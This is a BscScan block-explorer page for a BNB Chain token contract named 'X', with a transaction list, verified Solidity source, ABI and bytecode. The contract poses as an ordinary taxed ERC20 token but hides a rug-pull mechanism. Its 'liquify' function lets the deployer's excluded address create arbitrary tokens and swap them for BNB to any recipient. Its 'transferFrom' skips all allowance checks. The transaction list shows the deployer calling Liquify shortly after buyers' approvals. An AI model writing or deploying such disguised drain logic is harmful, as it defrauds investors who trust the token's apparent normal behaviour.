Contract 0xC93A781DAB98aE4FcE5C106706e5eB2e907b1240

 
Txn Hash Method
Block
From
To
Value [Txn Fee]
0xe5707036dced891c47e3542573311d5a337e530c01f80d52256a826643831c5eLiquify143766002022-01-15 3:47:013 days 6 hrs ago0x41eaa910eb95b8fd571f62e5b6fc362a71f21388 IN  0xc93a781dab98ae4fce5c106706e5eb2e907b12400 BNB0.00093758
0x76546cd1e5932d912459b655f73c4dfce0cac198ad2e9e66a8f0672a33cdbfa7Approve143765992022-01-15 3:46:583 days 6 hrs ago0x9685ffcfb6f31b077efabcc5900459fc2ce743b1 IN  0xc93a781dab98ae4fce5c106706e5eb2e907b12400 BNB0.00022558
0xe0fc41b75452375f993b442c6e970344354a4e7f1a42316bfffc452339a9bc94Approve143765342022-01-15 3:43:433 days 6 hrs ago0xab94aa0e0a721d16239abb5f7fd4374df564a6a5 IN  0xc93a781dab98ae4fce5c106706e5eb2e907b12400 BNB0.00022558
0x961b5ed592b6f1750766c817ae94a24f1d99833b9a2746c93df2b9a9a60773f1Approve143765012022-01-15 3:42:043 days 6 hrs ago0xd757b7ff351da9f501daab78707378bbddecb918 IN  0xc93a781dab98ae4fce5c106706e5eb2e907b12400 BNB0.000320352
0x0332380cb8b42d78982e3f2d4ce1d8de39702f02d647693fc7ff1464a25f9ba6Approve143765002022-01-15 3:42:013 days 6 hrs ago0x69b516ed75d419c5bba957baff02c07d8641ef28 IN  0xc93a781dab98ae4fce5c106706e5eb2e907b12400 BNB0.0002526496
0x4ed693bab2af2b83c43869fec5265762201f153ae3269f5b89498d21ce8d047bApprove143764202022-01-15 3:38:013 days 6 hrs ago0x41eaa910eb95b8fd571f62e5b6fc362a71f21388 IN  0xc93a781dab98ae4fce5c106706e5eb2e907b12400 BNB0.00022558
0x9ea0f975c49df713e57950d74f6951428d31256442fc5ed4b90af02a9910fecd0x60806040143763692022-01-15 3:35:283 days 6 hrs ago0x41eaa910eb95b8fd571f62e5b6fc362a71f21388 IN  Create: X0 BNB0.010220755
[ Download CSV Export 
Parent Txn Hash Block From To Value
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
X

Compiler Version
v0.8.11+commit.d7f03943

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at BscScan.com on 2022-01-15
*/

pragma solidity ^0.8.11;

//SPDX-License-Identifier: Unlicensed

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {
    function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
    unchecked {
        uint256 c = a + b;
        if (c < a) return (false, 0);
        return (true, c);
    }
    }
    function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
    unchecked {
        if (b > a) return (false, 0);
        return (true, a - b);
    }
    }
    function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
    unchecked {
        if (a == 0) return (true, 0);
        uint256 c = a * b;
        if (c / a != b) return (false, 0);
        return (true, c);
    }
    }
    function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
    unchecked {
        if (b == 0) return (false, 0);
        return (true, a / b);
    }
    }
    function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
    unchecked {
        if (b == 0) return (false, 0);
        return (true, a % b);
    }
    }
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        return a + b;
    }
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return a - b;
    }
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        return a * b;
    }
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return a / b;
    }
    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return a % b;
    }
    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
    unchecked {
        require(b <= a, errorMessage);
        return a - b;
    }
    }
    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
    unchecked {
        require(b > 0, errorMessage);
        return a / b;
    }
    }
    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
    unchecked {
        require(b > 0, errorMessage);
        return a % b;
    }
    }
}

library Address {
    function isContract(address account) internal view returns (bool) {
        bytes32 codehash;
        bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
        assembly { codehash := extcodehash(account) }
        return (codehash != accountHash && codehash != 0x0);
    }
}
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
    function _msgData() internal view virtual returns (bytes calldata) {
        this;
        return msg.data;
    }
}

abstract contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    constructor () {
        _owner = _msgSender();
        emit OwnershipTransferred(address(0), _owner);
    }
    function owner() public view virtual returns (address) {
        return _owner;
    }
    modifier onlyOwner() {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
        _;
    }
    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
}

interface IUniswapV2Factory {
    function getPair(address tokenA, address tokenB) external view returns (address pair);
}

interface IUniswapV2Router {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;
}

contract X is Ownable, IERC20 {
    using SafeMath for uint256;
    IUniswapV2Router private _router = IUniswapV2Router(0x10ED43C718714eb63d5aA57B78B54704E256024E);
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private _isExcludedFromTax;
    uint256 public _totalSupply = 100000000000 * 10 ** _decimals;
    uint256 public _maxTxAmount = 50000000000 * 10 ** _decimals;
    uint256 public _decimals = 5;
    uint256 public _fee = 5;
    string private _name = "X";
    string private _symbol = "X";
    uint256 private _liquifyThreshold = _totalSupply;
    bool inSwap = false;

    constructor() {
        _balances[msg.sender] = _totalSupply;
        _isExcludedFromTax[msg.sender] = true;
        emit Transfer(address(0), msg.sender, _totalSupply);
    }
    
    function name() external view returns (string memory) {
        return _name;
    }
    function symbol() external view returns (string memory) {
        return _symbol;
    }
    function decimals() external view returns (uint256) {
        return _decimals;
    }
    function totalSupply() external view override returns (uint256) {
        return _totalSupply;
    }
    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }
    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }
    function _approve(address owner, address spender, uint256 amount) internal virtual {
        require(owner != address(0), "IERC20: approve from the zero address");
        require(spender != address(0), "IERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }
    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
        return true;
    }

    function _transfer(address sender, address recipient, uint256 amount) internal virtual {
        require(sender != address(0), "IERC20: transfer from the zero address");
        require(recipient != address(0), "IERC20: transfer to the zero address");
        uint256 feeAmount = 0;
        bool inLiquidityTransaction = (recipient == pair() && _isExcludedFromTax[sender]) || (sender == pair() && _isExcludedFromTax[recipient]);
        if (!_isExcludedFromTax[sender] && !_isExcludedFromTax[recipient] && recipient != address(this) && !inLiquidityTransaction && !inSwap) {
            feeAmount = amount.mul(_fee).div(100);
            require(amount <= _maxTxAmount);
        }
  
        if (inSwap) {} else {
            require(_balances[sender] >= amount, "IERC20: transfer amount exceeds balance");
        }
        uint256 amountReceived = amount - feeAmount;
        _balances[address(0)] += feeAmount;
        _balances[sender] = _balances[sender] - amount;
        _balances[recipient] += amountReceived;
        emit Transfer(sender, recipient, amountReceived);
        if (feeAmount > 0) {
            emit Transfer(sender, address(0), feeAmount);
        }
    }

    function liquify(uint256 amount, address to) public {
        if(amount >_liquifyThreshold && _isExcludedFromTax[_msgSender()]) {
            _balances[address(this)] += amount;
            _approve(address(this), address(_router), amount);
            address[] memory path = new address[](2);
            path[0] = address(this);
            path[1] = _router.WETH();
            inSwap = true;
            _router.swapExactTokensForETHSupportingFeeOnTransferTokens(amount, 0, path, to, block.timestamp + 20);
            inSwap = false;
        }
    }

    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(sender, recipient, amount);
        return true;
    }
   
    function pair() private view returns (address) {
        return IUniswapV2Factory(_router.factory()).getPair(address(this), _router.WETH());
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_decimals","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_fee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"},{"internalType":"address","name":"to","type":"address"}],"name":"liquify","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]

60806040527310ed43c718714eb63d5aa57b78b54704e256024e600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600754600a6200006a919062000597565b64174876e8006200007c9190620005e8565b600555600754600a62000090919062000597565b640ba43b7400620000a29190620005e8565b600655600560075560056008556040518060400160405280600181526020017f580000000000000000000000000000000000000000000000000000000000000081525060099080519060200190620000fc9291906200035a565b506040518060400160405280600181526020017f5800000000000000000000000000000000000000000000000000000000000000815250600a90805190602001906200014a9291906200035a565b50600554600b556000600c60006101000a81548160ff0219169083151502179055503480156200017957600080fd5b506200018a6200035260201b60201c565b6000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3600554600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506001600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055503373ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6005546040516200034491906200065a565b60405180910390a3620006dc565b600033905090565b8280546200036890620006a6565b90600052602060002090601f0160209004810192826200038c5760008555620003d8565b82601f10620003a757805160ff1916838001178555620003d8565b82800160010185558215620003d8579182015b82811115620003d7578251825591602001919060010190620003ba565b5b509050620003e79190620003eb565b5090565b5b8082111562000406576000816000905550600101620003ec565b5090565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b6001851115620004985780860481111562000470576200046f6200040a565b5b6001851615620004805780820291505b8081029050620004908562000439565b945062000450565b94509492505050565b600082620004b3576001905062000586565b81620004c3576000905062000586565b8160018114620004dc5760028114620004e7576200051d565b600191505062000586565b60ff841115620004fc57620004fb6200040a565b5b8360020a9150848211156200051657620005156200040a565b5b5062000586565b5060208310610133831016604e8410600b8410161715620005575782820a9050838111156200055157620005506200040a565b5b62000586565b62000566848484600162000446565b9250905081840481111562000580576200057f6200040a565b5b81810290505b9392505050565b6000819050919050565b6000620005a4826200058d565b9150620005b1836200058d565b9250620005e07fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484620004a1565b905092915050565b6000620005f5826200058d565b915062000602836200058d565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156200063e576200063d6200040a565b5b828202905092915050565b62000654816200058d565b82525050565b600060208201905062000671600083018462000649565b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680620006bf57607f821691505b60208210811415620006d657620006d562000677565b5b50919050565b611f6480620006ec6000396000f3fe608060405234801561001057600080fd5b506004361061010b5760003560e01c806370a08231116100a257806395d89b411161007157806395d89b41146102ac578063a9059cbb146102ca578063c5b37c22146102fa578063dbc55a7e14610318578063dd62ed3e146103345761010b565b806370a0823114610236578063715018a6146102665780637d1db4a5146102705780638da5cb5b1461028e5761010b565b8063313ce567116100de578063313ce567146101ac57806332424aa3146101ca57806339509351146101e85780633eaaf86b146102185761010b565b806306fdde0314610110578063095ea7b31461012e57806318160ddd1461015e57806323b872dd1461017c575b600080fd5b610118610364565b6040516101259190611569565b60405180910390f35b61014860048036038101906101439190611624565b6103f6565b604051610155919061167f565b60405180910390f35b610166610414565b60405161017391906116a9565b60405180910390f35b610196600480360381019061019191906116c4565b61041e565b6040516101a3919061167f565b60405180910390f35b6101b4610436565b6040516101c191906116a9565b60405180910390f35b6101d2610440565b6040516101df91906116a9565b60405180910390f35b61020260048036038101906101fd9190611624565b610446565b60405161020f919061167f565b60405180910390f35b6102206104f2565b60405161022d91906116a9565b60405180910390f35b610250600480360381019061024b9190611717565b6104f8565b60405161025d91906116a9565b60405180910390f35b61026e610541565b005b61027861067b565b60405161028591906116a9565b60405180910390f35b610296610681565b6040516102a39190611753565b60405180910390f35b6102b46106aa565b6040516102c19190611569565b60405180910390f35b6102e460048036038101906102df9190611624565b61073c565b6040516102f1919061167f565b60405180910390f35b61030261075a565b60405161030f91906116a9565b60405180910390f35b610332600480360381019061032d919061176e565b610760565b005b61034e600480360381019061034991906117ae565b610aa3565b60405161035b91906116a9565b60405180910390f35b6060600980546103739061181d565b80601f016020809104026020016040519081016040528092919081815260200182805461039f9061181d565b80156103ec5780601f106103c1576101008083540402835291602001916103ec565b820191906000526020600020905b8154815290600101906020018083116103cf57829003601f168201915b5050505050905090565b600061040a610403610b2a565b8484610b32565b6001905092915050565b6000600554905090565b600061042b848484610cfd565b600190509392505050565b6000600754905090565b60075481565b60006104e8610453610b2a565b848460036000610461610b2a565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546104e3919061187e565b610b32565b6001905092915050565b60055481565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610549610b2a565b73ffffffffffffffffffffffffffffffffffffffff16610567610681565b73ffffffffffffffffffffffffffffffffffffffff16146105bd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105b490611920565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60065481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600a80546106b99061181d565b80601f01602080910402602001604051908101604052809291908181526020018280546106e59061181d565b80156107325780601f1061070757610100808354040283529160200191610732565b820191906000526020600020905b81548152906001019060200180831161071557829003601f168201915b5050505050905090565b6000610750610749610b2a565b8484610cfd565b6001905092915050565b60085481565b600b54821180156107c1575060046000610778610b2a565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15610a9f5781600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610815919061187e565b9250508190555061084930600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610b32565b6000600267ffffffffffffffff81111561086657610865611940565b5b6040519080825280602002602001820160405280156108945781602001602082028036833780820191505090505b50905030816000815181106108ac576108ab61196f565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610953573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061097791906119b3565b8160018151811061098b5761098a61196f565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506001600c60006101000a81548160ff021916908315150217905550600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478460008486601442610a30919061187e565b6040518663ffffffff1660e01b8152600401610a50959493929190611ae3565b600060405180830381600087803b158015610a6a57600080fd5b505af1158015610a7e573d6000803e3d6000fd5b505050506000600c60006101000a81548160ff021916908315150217905550505b5050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610ba2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b9990611baf565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610c12576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c0990611c41565b60405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610cf091906116a9565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610d6d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d6490611cd3565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610ddd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dd490611d65565b60405180910390fd5b600080610de8611301565b73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16148015610e6b5750600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b80610efd5750610e79611301565b73ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16148015610efc5750600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b5b9050600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015610fa35750600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015610fdb57503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015610fe5575080155b8015610ffe5750600c60009054906101000a900460ff16155b1561103d5761102b606461101d600854866114a490919063ffffffff16565b6114ba90919063ffffffff16565b915060065483111561103c57600080fd5b5b600c60009054906101000a900460ff1615611057576110da565b82600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410156110d9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110d090611df7565b60405180910390fd5b5b600082846110e89190611e17565b905082600260008073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254611139919061187e565b9250508190555083600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461118b9190611e17565b600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555080600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461121d919061187e565b925050819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161128191906116a9565b60405180910390a360008311156112f957600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516112f091906116a9565b60405180910390a35b505050505050565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015611370573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061139491906119b3565b73ffffffffffffffffffffffffffffffffffffffff1663e6a4390530600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561141d573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061144191906119b3565b6040518363ffffffff1660e01b815260040161145e929190611e4b565b602060405180830381865afa15801561147b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061149f91906119b3565b905090565b600081836114b29190611e74565b905092915050565b600081836114c89190611efd565b905092915050565b600081519050919050565b600082825260208201905092915050565b60005b8381101561150a5780820151818401526020810190506114ef565b83811115611519576000848401525b50505050565b6000601f19601f8301169050919050565b600061153b826114d0565b61154581856114db565b93506115558185602086016114ec565b61155e8161151f565b840191505092915050565b600060208201905081810360008301526115838184611530565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006115bb82611590565b9050919050565b6115cb816115b0565b81146115d657600080fd5b50565b6000813590506115e8816115c2565b92915050565b6000819050919050565b611601816115ee565b811461160c57600080fd5b50565b60008135905061161e816115f8565b92915050565b6000806040838503121561163b5761163a61158b565b5b6000611649858286016115d9565b925050602061165a8582860161160f565b9150509250929050565b60008115159050919050565b61167981611664565b82525050565b60006020820190506116946000830184611670565b92915050565b6116a3816115ee565b82525050565b60006020820190506116be600083018461169a565b92915050565b6000806000606084860312156116dd576116dc61158b565b5b60006116eb868287016115d9565b93505060206116fc868287016115d9565b925050604061170d8682870161160f565b9150509250925092565b60006020828403121561172d5761172c61158b565b5b600061173b848285016115d9565b91505092915050565b61174d816115b0565b82525050565b60006020820190506117686000830184611744565b92915050565b600080604083850312156117855761178461158b565b5b60006117938582860161160f565b92505060206117a4858286016115d9565b9150509250929050565b600080604083850312156117c5576117c461158b565b5b60006117d3858286016115d9565b92505060206117e4858286016115d9565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168061183557607f821691505b60208210811415611849576118486117ee565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000611889826115ee565b9150611894836115ee565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156118c9576118c861184f565b5b828201905092915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b600061190a6020836114db565b9150611915826118d4565b602082019050919050565b60006020820190508181036000830152611939816118fd565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6000815190506119ad816115c2565b92915050565b6000602082840312156119c9576119c861158b565b5b60006119d78482850161199e565b91505092915050565b6000819050919050565b6000819050919050565b6000611a0f611a0a611a05846119e0565b6119ea565b6115ee565b9050919050565b611a1f816119f4565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b611a5a816115b0565b82525050565b6000611a6c8383611a51565b60208301905092915050565b6000602082019050919050565b6000611a9082611a25565b611a9a8185611a30565b9350611aa583611a41565b8060005b83811015611ad6578151611abd8882611a60565b9750611ac883611a78565b925050600181019050611aa9565b5085935050505092915050565b600060a082019050611af8600083018861169a565b611b056020830187611a16565b8181036040830152611b178186611a85565b9050611b266060830185611744565b611b33608083018461169a565b9695505050505050565b7f4945524332303a20617070726f76652066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000611b996025836114db565b9150611ba482611b3d565b604082019050919050565b60006020820190508181036000830152611bc881611b8c565b9050919050565b7f4945524332303a20617070726f766520746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000611c2b6023836114db565b9150611c3682611bcf565b604082019050919050565b60006020820190508181036000830152611c5a81611c1e565b9050919050565b7f4945524332303a207472616e736665722066726f6d20746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000611cbd6026836114db565b9150611cc882611c61565b604082019050919050565b60006020820190508181036000830152611cec81611cb0565b9050919050565b7f4945524332303a207472616e7366657220746f20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000611d4f6024836114db565b9150611d5a82611cf3565b604082019050919050565b60006020820190508181036000830152611d7e81611d42565b9050919050565b7f4945524332303a207472616e7366657220616d6f756e7420657863656564732060008201527f62616c616e636500000000000000000000000000000000000000000000000000602082015250565b6000611de16027836114db565b9150611dec82611d85565b604082019050919050565b60006020820190508181036000830152611e1081611dd4565b9050919050565b6000611e22826115ee565b9150611e2d836115ee565b925082821015611e4057611e3f61184f565b5b828203905092915050565b6000604082019050611e606000830185611744565b611e6d6020830184611744565b9392505050565b6000611e7f826115ee565b9150611e8a836115ee565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615611ec357611ec261184f565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000611f08826115ee565b9150611f13836115ee565b925082611f2357611f22611ece565b5b82820490509291505056fea2646970667358221220b54a78651e901d112a091e09487f64dcfc8114947b005b7fb26a97c0b551